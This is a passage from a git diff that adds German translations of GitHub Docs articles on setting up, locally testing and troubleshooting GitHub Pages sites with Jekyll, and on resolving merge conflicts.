+{% data reusables.pages.check-workflow-run %}
+
+{% data reusables.pages.admin-must-push %}
+
+## Next steps
+
+To add a new page or post to your site, see "[Adding content to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-content-to-your-github-pages-site-using-jekyll)."
+
+{% data reusables.pages.add-jekyll-theme %} For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
diff --git a/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
new file mode 100644
index 0000000000..d5021c5df8
--- /dev/null
+++ b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
@@ -0,0 +1,34 @@
+---
+title: GitHub Pages-Website mit Jekyll einrichten
+intro: 'Mit Jekyll, dem beliebten Generator für statische Websites, kannst du deine {% data variables.product.prodname_pages %}-Website weiter anpassen.'
+redirect_from:
+  - /articles/using-jekyll-with-pages
+  - /articles/using-jekyll-as-a-static-site-generator-with-github-pages
+  - /articles/setting-up-a-github-pages-site-with-jekyll
+  - /github/working-with-github-pages/setting-up-a-github-pages-site-with-jekyll
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+children:
+  - /about-github-pages-and-jekyll
+  - /creating-a-github-pages-site-with-jekyll
+  - /testing-your-github-pages-site-locally-with-jekyll
+  - /adding-content-to-your-github-pages-site-using-jekyll
+  - /setting-a-markdown-processor-for-your-github-pages-site-using-jekyll
+  - /adding-a-theme-to-your-github-pages-site-using-jekyll
+  - /about-jekyll-build-errors-for-github-pages-sites
+  - /troubleshooting-jekyll-build-errors-for-github-pages-sites
+shortTitle: Set up site with Jekyll
+ms.openlocfilehash: 69b4b5c22bd13d57b4f37caa1bc8a5e350c8385d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145133041'
+---
+
diff --git a/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
new file mode 100644
index 0000000000..bdde439645
--- /dev/null
+++ b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md
@@ -0,0 +1,40 @@
+---
+title: Markdown-Prozessor für deine GitHub Pages-Website mit Jekyll festlegen
+intro: 'Mit einem Markdown-Prozessor legst du fest, wie Markdown auf deiner {% data variables.product.prodname_pages %}-Website gerendert wird.'
+redirect_from:
+  - /articles/migrating-your-pages-site-from-maruku
+  - /articles/updating-your-markdown-processor-to-kramdown
+  - /articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll
+  - /github/working-with-github-pages/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Set Markdown processor
+ms.openlocfilehash: 218877ee598afd47352d1e72a2ecb845f901c8b9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145133034'
+---
+Personen mit Schreibberechtigungen für ein Repository können den Markdown-Prozessor für eine {% data variables.product.prodname_pages %}-Website festlegen.
+
+{% data variables.product.prodname_pages %} unterstützt zwei Markdownprozessoren: [kramdown](http://kramdown.gettalong.org/) und den eigenen Markdownprozessor von {% data variables.product.prodname_dotcom %}, der zum Rendern von [{% data variables.product.prodname_dotcom %} Flavored Markdown (GFM)](https://github.github.com/gfm/) in {% data variables.product.product_name %} verwendet wird. Weitere Informationen findest du unter [Informationen zum Schreiben und Formatieren in {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github).
+
+Du kannst {% data variables.product.prodname_dotcom %} Flavored Markdown für beide Prozessoren verwenden, wobei jedoch nur der GFM-Prozessor die Ergebnisse exakt wie in {% data variables.product.product_name %} darstellt.
+
+{% data reusables.pages.navigate-site-repo %}
+2. Navigiere in deinem Repository zur Datei *config.yml*.
+{% data reusables.repositories.edit-file %}
+4. Suche die Zeile, die mit `markdown:` beginnt, und ändere den Wert in `kramdown` oder `GFM`.
+  ![Markdowneinstellung in config.yml](/assets/images/help/pages/config-markdown-value.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %}
+
+## Weitere Informationsquellen
+
+- [Dokumentation zu kramdown](https://kramdown.gettalong.org/documentation.html)
+- [{% data variables.product.prodname_dotcom %} Flavored Markdown – Spezifikation](https://github.github.com/gfm/)
diff --git a/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
new file mode 100644
index 0000000000..ea41c83a39
--- /dev/null
+++ b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
@@ -0,0 +1,75 @@
+---
+title: GitHub Pages-Website lokal mit Jekyll testen
+intro: 'Du kannst deine {% data variables.product.prodname_pages %}-Website lokal erstellen, um Änderungen an deiner Website vorab anzuzeigen und zu testen.'
+redirect_from:
+  - /articles/setting-up-your-pages-site-locally-with-jekyll
+  - /articles/setting-up-your-github-pages-site-locally-with-jekyll
+  - /articles/testing-your-github-pages-site-locally-with-jekyll
+  - /github/working-with-github-pages/testing-your-github-pages-site-locally-with-jekyll
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Test site locally with Jekyll
+ms.openlocfilehash: 9db3a964ee38afa191f7fed31cfa032128460f48
+ms.sourcegitcommit: 3268914369fb29540e4d88ee5e56bc7a41f2a60e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/26/2022
+ms.locfileid: '148111307'
+---
+Personen mit Schreibberechtigungen für ein Repository können eine {% data variables.product.prodname_pages %}-Website lokal testen.
+
+## Voraussetzungen
+
+Bevor du mit Jekyll eine Website testen kannst, müssen folgende Voraussetzungen erfüllt sein:
+  - [Jekyll](https://jekyllrb.com/docs/installation/) installiert.
+  - Erstelle eine Jekyll-Website. Weitere Informationen findest du unter [Erstellen einer {% data variables.product.prodname_pages %}-Website mit Jekyll](/articles/creating-a-github-pages-site-with-jekyll).
+
+{% data reusables.pages.recommend-bundler %}
+
+{% data reusables.pages.jekyll-install-troubleshooting %}
+
+## Website lokal erstellen
+
+{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.pages.navigate-publishing-source %}
+3. Führen Sie aus `bundle install`.
+3. Führe dein Jekyll-Website lokal aus.
+  ```shell
+  $ bundle exec jekyll serve
+  > Configuration file: /Users/octocat/my-site/_config.yml
+  >            Source: /Users/octocat/my-site
+  >       Destination: /Users/octocat/my-site/_site
+  > Incremental build: disabled. Enable with --incremental
+  >      Generating...
+  >                    done in 0.309 seconds.
+  > Auto-regeneration: enabled for '/Users/octocat/my-site'
+  > Configuration file: /Users/octocat/my-site/_config.yml
+  >    Server address: http://127.0.0.1:4000/
+  >  Server running... press ctrl-c to stop.
+  ```
+  {% note %}
+
+  **Hinweis:** Wenn du Ruby 3.0 oder höher installiert hast (möglicherweise hast du die Standardversion über Homebrew installiert), erhältst du möglicherweise in diesem Schritt eine Fehlermeldung. Das liegt daran, dass diese Versionen von Ruby nicht mehr mit `webrick` installiert werden.
+  
+  Um den Fehler zu beheben, versuche `bundle add webrick` auszuführen, und führe dann erneut `bundle exec jekyll serve` aus.
+  {% endnote %}
+
+3. Navigiere zum Anzeigen deiner Website in deinem Webbrowser zu `http://localhost:4000`.
+
+## Das {% data variables.product.prodname_pages %}-Gem aktualisieren
+
+Jekyll ist ein aktives Open-Source-Projekt, das regelmäßig aktualisiert wird. Wenn das Gem `github-pages` auf deinem Computer älter ist als das Gem `github-pages` auf dem {% data variables.product.prodname_pages %}-Server, sieht deine Website beim lokalen Build möglicherweise anders aus als bei Veröffentlichung in {% data variables.product.product_name %}. Um dies zu vermeiden, aktualisiere das Gem `github-pages` auf deinem Computer regelmäßig.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+2. Aktualisiere das Gem `github-pages`.
+    - Wenn du Bundler installiert hast, führe `bundle update github-pages` aus.
+    - Wenn Bundler nicht installiert ist, führe `gem update github-pages` aus.
+
+## Weitere Informationsquellen
+
+- [{% data variables.product.prodname_pages %}](http://jekyllrb.com/docs/github-pages/) in der Dokumentation zu Jekyll
diff --git a/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md
new file mode 100644
index 0000000000..274ca9d9a8
--- /dev/null
+++ b/translations/de-DE/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md
@@ -0,0 +1,198 @@
+---
+title: Fehlerbehebung bei Jekyll-Build-Fehlern für GitHub Pages-Websites
+intro: 'Mithilfe der Jekyll-Build-Fehlermeldungen kannst du Probleme auf deiner {% data variables.product.prodname_pages %}-Website beheben.'
+redirect_from:
+  - /articles/page-build-failed-missing-docs-folder
+  - /articles/page-build-failed-invalid-submodule
+  - /articles/page-build-failed-missing-submodule
+  - /articles/page-build-failed-markdown-errors
+  - /articles/page-build-failed-config-file-error
+  - /articles/page-build-failed-unknown-tag-error
+  - /articles/page-build-failed-tag-not-properly-terminated
+  - /articles/page-build-failed-tag-not-properly-closed
+  - /articles/page-build-failed-file-does-not-exist-in-includes-directory
+  - /articles/page-build-failed-file-is-a-symlink
+  - /articles/page-build-failed-symlink-does-not-exist-within-your-sites-repository
+  - /articles/page-build-failed-file-is-not-properly-utf-8-encoded
+  - /articles/page-build-failed-invalid-post-date
+  - /articles/page-build-failed-invalid-sass-or-scss
+  - /articles/page-build-failed-invalid-highlighter-language
+  - /articles/page-build-failed-relative-permalinks-configured
+  - /articles/page-build-failed-syntax-error-in-for-loop
+  - /articles/page-build-failed-invalid-yaml-in-data-file
+  - /articles/page-build-failed-date-is-not-a-valid-datetime
+  - /articles/troubleshooting-github-pages-builds
+  - /articles/troubleshooting-jekyll-builds
+  - /articles/troubleshooting-jekyll-build-errors-for-github-pages-sites
+  - /github/working-with-github-pages/troubleshooting-jekyll-build-errors-for-github-pages-sites
+product: '{% data reusables.gated-features.pages %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Pages
+shortTitle: Troubleshoot Jekyll errors
+ms.openlocfilehash: 224f626df144ad249a799767984118778202e7b4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147883465'
+---
+## Fehlerbehebung bei Build-Fehlern
+
+Wenn beim Erstellen deiner {% data variables.product.prodname_pages %}-Website (lokal oder auf {% data variables.product.product_name %}) mit Jekyll ein Fehler auftritt, kannst du die Fehlerbehebung mithilfe der Fehlermeldungen durchführen. Weitere Informationen zu Fehlermeldungen und deren Anzeige findest du unter [Informationen zu Jekyll-Buildfehlern für {% data variables.product.prodname_pages %}-Websites](/articles/about-jekyll-build-errors-for-github-pages-sites).
+
+Wenn du eine generische Fehlermeldung erhalten hast, suche nach häufigen Fehlern.
+- Du verwendest nicht unterstützte Plug-Ins. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_pages %} und Jekyll](/articles/about-github-pages-and-jekyll#plugins).{% ifversion fpt or ghec %}
+- Dein Repository hat die Größenbeschränkung für Repositorys überschritten. Weitere Informationen findest du unter [Welches Datenträgerkontingent gilt für mich?](/articles/what-is-my-disk-quota).{% endif %}
+- Du hast die `source`-Einstellung in deiner Datei *_config.yml* geändert. {% ifversion pages-custom-workflow %} Wenn du deine Website über einen Branch veröffentlichst, überschreibt {% endif %}{% data variables.product.prodname_pages %} diese Einstellung während des Buildvorgangs.
+- Ein Dateiname in deinen veröffentlichten Dateien enthält einen Doppelpunkt (`:`). Dies wird nicht unterstützt.
+
+Wenn du eine bestimmte Fehlermeldung erhalten hast, lies die nachfolgenden Informationen zur Fehlerbehebung für die jeweilige Fehlermeldung.
+
+{% ifversion pages-custom-workflow %} Nachdem du Fehler behoben hast, löse einen anderen Build aus, indem du die Änderungen an den Quellbranch deiner Website pushst (wenn die Veröffentlichung über einen Branch erfolgt) oder deinen benutzerdefinierten {% data variables.product.prodname_actions %}-Workflow auslöst (wenn du die Veröffentlichung mit {% data variables.product.prodname_actions %} vornimmst).{% else %}Nachdem du Fehler behoben hast, pushe die Änderungen an die Veröffentlichungsquelle deiner Website, um einen anderen Build auf {% data variables.product.product_name %}auszulösen.{% endif %}
+
+## Fehler bei der Dateikonfiguration
+
+Dieser Fehler bedeutet, dass deine Website nicht erstellt werden konnte, weil die Datei *_config.yml* Syntaxfehler enthält.
+
+Stelle zur Problembehandlung sicher, dass deine *_config.yml*-Datei folgenden Regeln folgt:
+
+{% data reusables.pages.yaml-rules %}
+
+{% data reusables.pages.yaml-linter %}
+
+## Datum besitzt ungültiges Datum/Uhrzeit
+
+Dieser Fehler bedeutet, dass eine Seite der Website einen ungültigen Wert für Datum/Uhrzeit enthält.
+
+Zur Fehlerbehebung prüfe die in der Fehlermeldung genannte Datei und deren Layouts auf Aufrufe datumsbezogener Liquid-Filter. Prüfe, ob alle Variablen, die an datumsabhängige Liquid-Filter übergeben werden, Werte enthalten und nicht `nil` oder `""` übergeben. Weitere Informationen findest du in der Liquid-Dokumentation unter [Liquid-Filter](https://help.shopify.com/en/themes/liquid/filters).
+
+## Datei ist im Verzeichnis „includes“ nicht vorhanden
+
+Dieser Fehler bedeutet, dass dein Code auf eine Datei verweist, die sich nicht im Verzeichnis *_includes* befindet.
+
+{% data reusables.pages.search-for-includes %} Wenn sich eine der Dateien, auf die du verwiesen hast, nicht im Verzeichnis *_includes* befindet, kopiere oder verschiebe die Dateien in das Verzeichnis *_includes*.
+
+## Datei ist ein Symlink
+
+Dieser Fehler bedeutet, dass der Code auf eine per Symlink verknüpfte Datei verweist, die sich nicht in den veröffentlichten Dateien für deine Website befindet.
+
+{% data reusables.pages.search-for-includes %} Wenn eine der Dateien, auf die du verwiesen hast, per Symlink verknüpft ist, kopiere oder verschiebe die Datei in das Verzeichnis *_includes*.
+
+## Datei ist nicht ordnungsgemäß UTF-8-codiert
+
+Dieser Fehler bedeutet, dass du nicht lateinische Buchstaben wie `日本語` verwendet hast, ohne dem Computer mitzuteilen, dass er diese Symbole erwarten soll.
+
+Zur Problembehandlung erzwingst du die UTF-8-Kodierung, indem du die folgende Zeile deiner *_config.yml*-Datei hinzufügst:
+```yaml
+encoding: UTF-8
+```
+
+## Textmarkersprache ungültig
+
+Dieser Fehler bedeutet, dass du andere Syntaxmarker als [Rouge](https://github.com/jneen/rouge) oder [Pygments](http://pygments.org/) in deiner Konfigurationsdatei angegeben hast.
+
+Zur Problembehandlung aktualisierst du deine *_config.yml-Datei*, um [Rouge](https://github.com/jneen/rouge) oder [Pygments](http://pygments.org/) anzugeben. Weitere Informationen findest du unter [Informationen zu {% data variables.product.product_name %} und Jekyll](/articles/about-github-pages-and-jekyll#syntax-highlighting).
+
+## Ungültiges Beitragsdatum
+
+Dieser Fehler bedeutet, dass ein Beitrag auf deiner Website ein ungültiges Datum im Dateinamen oder im YAML-Frontmatter enthält.
+
+Zur Fehlerbehebung formatiere alle Datumsangaben als YYYY-MM-DD HH:MM:SS für UTC, und prüfe, ob gültige Kalenderdaten angegeben sind. Um eine Zeitzone mit einer Abweichung von UTC festzulegen, verwende das Format JJJJ-MM-TT hh:mm:ss +/- tttt, z. B. `2014-04-18 11:30:00 +0800`.
+
+Wenn du ein Datumsformat in deiner Datei *_config.yml* angibst, stelle sicher, dass das Format richtig ist.
+
+## Sass oder SCSS ungültig
+
+Dieser Fehler bedeutet, dass dein Repository eine Sass- oder SCSS-Datei mit ungültigem Inhalt enthält.
+
+Zur Fehlerbehebung prüfe die in der Fehlermeldung genannte Zeilennummer auf ungültige Sass oder SCSS. Damit solche Fehler in Zukunft vermieden werden, installiere einen Sass- oder SCSS-Linter für deinen meistgenutzten Text-Editor.
+
+## Ungültiges Submodul
+
+Dieser Fehler bedeutet, dass dein Repository ein nicht ordnungsgemäß initialisiertes Submodul enthält.
+
+{% data reusables.pages.remove-submodule %}
+
+Wenn du das Untermodul verwenden möchtest, stelle sicher, dass du beim Verweisen auf das Untermodul `https://` (nicht `http://`) verwendest, und dass sich das Untermodul in einem öffentlichen Repository befindet.
+
+## Ungültige YAML in der Datendatei
+
+Dieser Fehler bedeutet, dass eine der weiteren Dateien im *_data*-Ordner ungültige YAML enthält.
+
+Stelle zur Problembehandlung sicher, dass die YAML-Dateien in deinem *_data*-Ordner folgende Regeln erfüllen:
+
+{% data reusables.pages.yaml-rules %}
+
+{% data reusables.pages.yaml-linter %}
+
+Weitere Informationen zu Jekyll-Datendateien findest du in der Jekyll-Dokumentation unter [Datendateien](https://jekyllrb.com/docs/datafiles/).
+
+## Markdown-Fehler
+
+Dieser Fehler bedeutet, dass dein Repository Markdownfehler enthält.
+
+Zur Fehlerbehebung verwende einen unterstützten Markdown-Prozessor. Weitere Informationen findest du unter [Festlegen eines Markdown-Prozessors für deine {% data variables.product.prodname_pages %}-Website mithilfe von Jekyll](/articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll).
+
+Prüfe außerdem, ob die in der Fehlermeldung genannte Datei eine gültige Markdown-Syntax umfasst. Weitere Informationen findest du unter [Markdown: Syntax](https://daringfireball.net/projects/markdown/syntax) auf Daring Fireball.
+
+## Dokumentordner fehlt
+
+Dieser Fehler bedeutet, dass du den `docs`-Ordner in einem Branch als Veröffentlichungsquelle ausgewählt hast, aber es gibt in diesem Branch keinen `docs`-Ordner im Stamm deines Repositorys.
+
+Wenn dein `docs`-Ordner versehentlich verschoben wurde, versuche zur Problembehandlung, den `docs`-Ordner zurück in den Stamm deines Repositorys auf dem Branch zu verschieben, den du für deine Veröffentlichungsquelle gewählt hast. Wenn der `docs`-Ordner versehentlich gelöscht wurde, kannst du entweder:
+- Mache den Löschvorgang mit Git rückgängig. Weitere Informationen findest du in der Git-Dokumentation unter [git-revert](https://git-scm.com/docs/git-revert.html).
+- Erstelle einen neuen `docs`-Ordner im Stamm deines Repositorys auf dem Branch, den du für die Veröffentlichungsquelle ausgewählt hast, und füge die Quelldateien deiner Website dem Ordner hinzu. Weitere Informationen findest du unter [Erstellen neuer Dateien](/articles/creating-new-files).
+- Ändere die Veröffentlichungsquelle. Weitere Informationen findest du unter [Konfigurieren einer Veröffentlichungsquelle für {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages).
+
+## Submodul fehlt
+
+Dieser Fehler bedeutet, dass dein Repository ein nicht vorhandenes oder ein nicht ordnungsgemäß initialisiertes Submodul enthält.
+
+{% data reusables.pages.remove-submodule %}
+
+Soll ein Submodul verwendet werden, initialisiere das Submodul. Weitere Informationen findest du unter [Git-Tools – Untermodule](https://git-scm.com/book/en/v2/Git-Tools-Submodules) im _Pro Git_-Buch.
+
+## Relative Permalinks konfiguriert
+
+Dieser Fehler bedeutet, dass du relative Permalinks in der Datei *_config.yml* nutzt, die nicht von {% data variables.product.prodname_pages %} unterstützt werden.
+
+Permalinks sind permanente URLs, die auf einen bestimmten Beitrag oder eine bestimmte Seite deiner Website verweisen. Absolute Permalinks beginnen mit dem Root der Website, relative Permalinks dagegen mit dem Ordner, in dem sich die referenzierte Seite befindet. {% data variables.product.prodname_pages %} und Jekyll unterstützen relative Permalinks nicht mehr. Weitere Informationen zu Permalinks findest du in der Jekyll-Dokumentation unter [Permalinks](https://jekyllrb.com/docs/permalinks/).
+
+Entferne zur Problembehandlung die `relative_permalinks`-Zeile aus der Datei *_config.yml*, und formatiere alle relativen Permalinks auf deiner Website in absolute Permalinks um. Weitere Informationen findest du unter [Bearbeiten von Dateien](/repositories/working-with-files/managing-files/editing-files).
+
+## Symlink ist im Repository deiner Website nicht vorhanden
+
+Dieser Fehler bedeutet, dass die Website einen symbolischen Link (Symlink) enthält, der sich nicht in den veröffentlichten Dateien für die Website befindet. Weitere Informationen zu Symlinks findest du unter [Symbolische Verknüpfung](https://en.wikipedia.org/wiki/Symbolic_link) in Wikipedia.
+
+Zur Fehlerbehebung prüfe, ob die in der Fehlermeldung genannte Datei für den Build der Website erforderlich ist. Falls nicht (oder falls die Datei kein Symlink sein soll), lösche die Datei. Wenn die Datei, auf die der Symlink verweist, für den Build der Website erforderlich ist, stelle sicher, dass die Datei oder das Verzeichnis, auf die bzw. das der Symlink verweist, in den veröffentlichten Dateien für deine Website vorhanden ist. Um externe Ressourcen einzubinden, solltest du {% ifversion fpt or ghec %}`git submodule` oder {% endif %}einen Paketmanager eines Drittanbieters wie [Bower](https://bower.io/) verwenden.{% ifversion fpt or ghec %} Weitere Informationen findest du unter [Verwendung von Submodulen mit {% data variables.product.prodname_pages %}](/articles/using-submodules-with-github-pages).{% endif %}
+
+## Syntaxfehler in der „for“-Schleife
+
+Dieser Fehler bedeutet, dass dein Code ungültige Syntax in einer Liquid-`for`-Schleifen-Deklaration enthält.
+
+Vergewissere dich zur Problembehandlung, dass alle `for`-Schleifen in der in der Fehlermeldung erwähnten der Datei die richtige Syntax haben. Weitere Informationen zur richtigen Syntax für `for`-Schleifen findest du in der Liquid-Dokumentation unter [Iterations-Tags](https://help.shopify.com/en/themes/liquid/tags/iteration-tags#for).
+
+## Tag nicht ordnungsgemäß geschlossen
+
+Diese Fehlermeldung bedeutet, dass dein Code ein logisches Tag enthält, das nicht korrekt geschlossen ist. {% raw %}`{% capture example_variable %}` muss z. B. von `{% endcapture %}`{% endraw %} geschlossen werden.
+
+Zur Fehlerbehebung prüfe, ob alle logischen Tags in der Datei, die in der Fehlermeldung genannt ist, ordnungsgemäß geschlossen sind. Weitere Informationen findest du in der Liquid-Dokumentation unter [Liquid-Tags](https://help.shopify.com/en/themes/liquid/tags).
+
+## Tag nicht ordnungsgemäß beendet
+
+Diese Fehlermeldung bedeutet, dass dein Code ein output-Tag enthält, das nicht korrekt beendet wurde. Beispiel: {% raw %}`{{ page.title }` anstelle von `{{ page.title }}`{% endraw %}.
+
+Vergewissere dich zur Problembehandlung, dass alle Ausgabe-Tags in der in der Fehlermeldung erwähnten Datei mit `}}` beendet werden. Weitere Informationen findest du in der Liquid-Dokumentation unter [Liquid-Objekte](https://help.shopify.com/en/themes/liquid/objects).
+
+## Unbekannter Tag-Fehler
+
+Dieser Fehler bedeutet, dass dein Code ein nicht erkanntes Liquid-Tag enthält.
+
+Zur Fehlerbehebung prüfe, ob alle Liquid-Tags in der Datei, die in der Fehlermeldung genannt ist, den Jekyll-Standardvariablen entsprechen und ob die Tag-Namen korrekt geschrieben sind. Eine Liste der Standardvariablen findest du in der Jekyll-Dokumentation unter [Variablen](https://jekyllrb.com/docs/variables/).
+
+Nicht unterstützte Plug-ins sind häufig die Quelle für unbekannte Tags. Wenn du ein nicht unterstütztes Plug-in auf der Website verwendest, also die Website lokal erstellen und die statischen Dateien per Push-Verfahren an {% data variables.product.product_name %} übertragen, darf das Plug-in keine Tags umfassen, die nicht in den Jekyll-Standardvariablen aufgeführt sind. Eine Liste der unterstützten Plugins findest du unter [Informationen zu {% data variables.product.prodname_pages %} und Jekyll](/articles/about-github-pages-and-jekyll#plugins).
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md
new file mode 100644
index 0000000000..5401b28a6c
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md
@@ -0,0 +1,50 @@
+---
+title: Informationen zu Mergekonflikten
+intro: 'Zu Mergekonflikten kommt es, wenn du Branches zusammenführst, die konkurrierende Commits haben, und Git deine Hilfe benötigt, um zu entscheiden, welche Änderungen in den endgültigen Merge aufgenommen werden sollen.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/about-merge-conflicts
+  - /articles/about-merge-conflicts
+  - /github/collaborating-with-issues-and-pull-requests/about-merge-conflicts
+  - /github/about-merge-conflicts
+  - /github/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Pull requests
+ms.openlocfilehash: 5902f74a9c51772dc3f1d8883b60723ffec3e1d1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145133029'
+---
+Oft kann Git Unterschiede zwischen Branches beheben und diese automatisch zusammenführen. In der Regel liegen die Änderungen in verschiedenen Zeilen oder sogar in verschiedenen Dateien vor, was das Zusammenführen für Computer leicht verständlich macht. Manchmal gibt es jedoch konkurrierende Änderungen, die Git ohne deine Hilfe nicht bewältigen kann. Häufig treten Mergekonflikte auf, wenn Personen unterschiedliche Änderungen an derselben Zeile derselben Datei vornehmen, oder wenn eine Person eine Datei bearbeitet und eine andere Person dieselbe Datei löscht.
+
+Du musst alle Mergekonflikte lösen, bevor du einen Pull Request auf {% data variables.product.product_name %} mergen kannst. Wenn in deinem Pull Request ein Mergekonflikt zwischen dem Vergleichsbranch und dem Basisbranch vorliegt, kannst du eine Liste der Dateien mit in Konflikt stehenden Änderungen oberhalb der Schaltfläche **Pull Request mergen** anzeigen. Die Schaltfläche **Pull Request mergen** wird erst aktiviert, wenn du alle Konflikte zwischen dem Vergleichsbranch und dem Basisbranch gelöst hast.
+
+![Fehlermeldung bei Mergekonflikten](/assets/images/help/pull_requests/merge_conflict_error_on_github.png)
+
+## Auflösen von Mergekonflikten
+
+Um einen Mergekonflikt zu beheben, musst du die Konfliktdatei manuell bearbeiten, um die Änderungen auszuwählen, die du beim endgültigen Merge beibehalten möchtest. Es gibt verschiedene Möglichkeiten, einen Mergekonflikt zu beheben:
+
+- Wenn dein Mergekonflikt durch konkurrierende Zeilenänderungen verursacht wird, z. B. wenn Personen unterschiedliche Änderungen an derselben Zeile derselben Datei auf verschiedenen Branches in deinem Git-Repository vornehmen, kannst du ihn mit dem Konflikteditor von {% data variables.product.product_name %} beheben. Weitere Informationen findest du unter [Auflösen eines Mergekonflikts unter {% data variables.product.prodname_dotcom %}](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github).
+- Bei allen anderen Arten von Mergekonflikten musst du den Mergekonflikt in einem lokalen Klon des Repositorys beheben und die Änderung an deinen Branch auf {% data variables.product.product_name %} übertragen. Du kannst die Befehlszeile oder ein Tool wie [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) verwenden, um die Änderung zu pushen. Weitere Informationen findest du unter [Auflösen eines Mergekonflikts mithilfe der Befehlszeile](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line).
+
+Wenn du einen Mergekonflikt in der Befehlszeile hast, kannst du deine lokalen Änderungen erst an {% data variables.product.product_name %} pushen, wenn du den Mergekonflikt lokal auf deinem Computer behoben hast. Wenn du versuchst, Branches mit einem Mergekonflikt in der Befehlszeile zusammenzuführen, wird Ihnen eine Fehlermeldung angezeigt. Weitere Informationen findest du unter [Auflösen eines Mergekonflikts mithilfe der Befehlszeile](/articles/resolving-a-merge-conflict-using-the-command-line/).
+```shell
+$ git merge <em>BRANCH-NAME</em>
+> Auto-merging styleguide.md
+> CONFLICT (content): Merge conflict in styleguide.md
+> Automatic merge failed; fix conflicts and then commit the result
+```
+
+## Weitere Informationsquellen
+
+- [Informationen zum Zusammenführen von Pull Requests](/articles/about-pull-request-merges/)
+- [Informationen zu Pull Requests](/articles/about-pull-requests/)
+- [Auflösen eines Mergekonflikts mithilfe der Befehlszeile](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)
+- [Mergekonflikt auf GitHub beheben](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github)
diff --git a/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
new file mode 100644
index 0000000000..7064439023
--- /dev/null
+++ b/translations/de-DE/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
@@ -0,0 +1,27 @@
+---
+title: Mergekonflikte beheben
+intro: 'Wenn Deine Änderungen zu Mergekonflikten mit dem Basis-Branch führen, musst du die Mergekonflikte beheben, bevor du die Änderungen Deines Pull Requests zusammenführen kannst.'
+redirect_from:
+  - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts
+  - /articles/addressing-merge-conflicts
